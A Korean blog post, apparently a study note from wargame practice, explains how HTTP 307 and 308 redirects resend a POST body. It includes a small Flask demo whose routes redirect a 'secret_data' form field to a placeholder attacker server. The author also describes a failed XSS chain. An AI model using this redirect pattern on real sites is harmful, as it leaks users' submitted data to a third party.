Home Response Status Code(307, 308) with POST DATA
Post
Cancel

Response Status Code(307, 308) with POST DATA

워게임을 공부하다가 알아낸 POST 데이터를 탈취 할 수 있는 방법을 알아봅시다.


Redirection Status Code

HTTP 상태코드에서 리다이렉션 코드는 일반적으로 (300번대)입니다.
이중에서 301, 302, 307, 308에 대해 간략하게 알아봅시다.

  • 301 Moved Permanently : 요청한 리소스의 URI가 변경되었음을 의미
  • 302 Found : 요청한 리소스의 URI가 일시적으로 변경되었음을 의미
  • 307 Temporary Redirect : 클라리언트가 요청한 리소스가 다른 URI에 있음을 의미, 원래 요청한 메소드와 Body 를 재사용하여 요청을 리다이렉트
  • 308 Permanent Redirect : HTTP 응답 헤더의 Location: 에 명시된 영구히 다른 URI에 위치하고 있음을 의미, 원래 요청한 메소드와 Body 를 재사용하여 요청을 리다이렉트

특이점은 307, 308은 POST 메소드의 요청인 경우 Body와 함께 요청을 리다이렉트합니다.
즉 리다이렉션되는 URL이 공격자 서버로 변조할 수 있을 경우 POST 값도 탈취 당할 수 있습니다.


Example Code

코드는 매우 간단합니다.
POST 메소드로 secret_data라는 변수를 받습니다.
여기서는 상태 코드 변조 가능 및 공격자의 서버로 리다이렉션된다고 가정해봅시다.
-> 사실 요청에 대한 응답 상태 및 리다이렉션 서버를 변조하는 것은 매우 어려울꺼 같습니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from flask import Flask, redirect, request

app = Flask(__name__)

@app.route('/301', methods=['GET','POST'])
def redirect_301():
    request.form.get("secret_data")
    return redirect("[공격자서버]",code=301)

@app.route('/302', methods=['GET','POST'])
def redirect_302():
    request.form.get("secret_data")
    return redirect("[공격자서버]",code=302)

@app.route('/307', methods=['GET','POST'])
def redirect_307():
    request.form.get("secret_data")
    return redirect("[공격자서버]",code=307)

@app.route('/308', methods=['GET','POST'])
def redirect_308():
    request.form.get("secret_data")
    return redirect("[공격자서버]",code=308)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port="5555")

result

정말로 307, 308만 POST 데이터가 전달되는지 확인해봅시다.
secret_data에 glasses96을 넣고 각 리다이렉션이 되도록 전달했습니다.
burp

301 302 307 308

후기

Request 요청에 대한 응답 상태코드나 리다이렉션을 공격자서버로 변조를 해야하기 때문에 트리거 하기에는 매우 까다로울꺼 같습니다.

post request -> XSS -> 공격자 서버(308 지정) -> requestbin 이런식으로 될까 테스트를 해보았는데 저는 바보였습니다…
XSS를 이용하여 공격자 서버로 리다이렉션이 될때 전달되는 데이터가 비어있기에… 당연하게도 아무것도 오지 않았습니다.

좀 더 나은 공격 방법에 대해 많은 고민을 해야할꺼같습니다.